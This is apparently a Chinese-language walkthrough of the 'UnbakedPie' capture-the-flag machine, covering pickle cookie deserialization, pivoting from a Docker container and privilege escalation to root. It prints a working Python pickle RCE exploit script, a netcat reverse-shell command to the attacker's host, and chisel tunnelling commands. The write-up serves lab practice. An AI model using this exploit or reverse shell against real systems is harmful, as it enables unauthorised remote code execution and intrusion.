第一次搞序列化漏洞,边学边记录,参考了多篇网上资料和walkthrough。
靶机下载地址是ttps://hackmyvm.eu/machines/machine.php?vm=UnbakedPie,之前这好像也是TryHackMe的靶机,难度评级是hard。
加载运行后扫描端口,注意要加-Pn,只开了一个5003。
打开后是一个博客的页面,都是一些没什么用的内容,点击登录按钮,测试一些常见的用户名和密码,未果。
其实,博客的名称已经提示“pickle”了。在搜索框随便搜索一个字符串,比如“123”,然后查看cookies,里面有一条是search_cookie,值是base64编码
把这个值反编码一下,果然包含刚才搜索的字符串。
直接在地址栏里查看/search目录,会报错。
查看报错页面的源代码,可以找到encoded_cookie相关代码,这就是search_cookie值的由来。
下面就可以用python编写漏洞利用脚本了,代码如下:
import pickle, base64, os, requests, sys class RCE: def __reduce__(self): cmd = sys.argv[2] return os.system, (cmd,) if __name__ == '__main__': if len(sys.argv) != 3: print(f"[i]usage:python3 {sys.argv[0]} http://site:port 'payload code'") sys.exit() pickled = pickle.dumps(RCE()) cookie = base64.urlsafe_b64encode(pickled).decode('utf-8') url = sys.argv[1] r = requests.get(f"{url}/search", cookies={"search_cookie":cookie})
执行时输入如下代码:
python3 exp.py http://192.168.56.32:5003 "nc 192.168.56.100 1234 -e /bin/bash"
本机监听1234端口,成功反弹出shell。但是这个主机名称很奇怪,看着像在docker里。
在/root目录的bash_history里,可以看到ramsey用户和另一台机器的IP地址。
接下来,需要登录172.17.0.1这台机器的ssh。网上有一个方法,是使用chisel建立隧道。工具的下载地址是https://github.com/jpillora/chisel。
在靶机执行:./chisel client 10.6.18.145:4445 R:127.0.0.1:4444:172.17.0.1:22
在本机执行:chisel server -p 4445 --reverse
然后就可以访问本机的4444端口。
这里用meterpreter再试一下,顺便复习一下操作。在msfconsole里使用exploit/multi/handler,设置好端口后监听,本机运行exp.py,得到shell。
Ctrl+Z将session暂时放在后台,使用sessions -u命令将shell升级为meterpreter。
ipconfig查看网络信息,可以看到本机ip为172.17.0.2。
刚才已经知道,还有一台机器是172.17.0.1,这里就不再对网络进行扫描了,直接扫这个机器的端口。首先建立路由。
按常规程序,这时应该扫描一下172.17.0.1的端口,这里只扫几个示意一下。
开了22和5003。下面要进行转发,将22端口转发到本机的2222,将5003转发到本机的5003(其实5003转不转无所谓了)。
这时,就可以用ramsey用户名,在本机的2222端口爆破密码了。
ssh登录后,进入ramsey的家目录,sudo -l可以执行vuln.py。
经过分析,这个vuln.py代码的选项2,是对pyaload.png的文字进行识别,并调用os.eval执行,而payload.png有可写权限。因此,可以将payload.png图片中的文字替换为如下:
传入靶机后执行,可以转为用户oliver。

oliver可以sudo执行python,注意前面的SETENV,说明可以改变环境变量。
查看/opt/dockerScript.py文件,发现前面有个import docker。这里,可以自建一个假的docker,让程序先加载。
最后,顺利得到root。
小结一下,这个靶机还是质量挺高的,学习了反序列化利用,兼顾了一些内网攻防的内容,值得玩一下。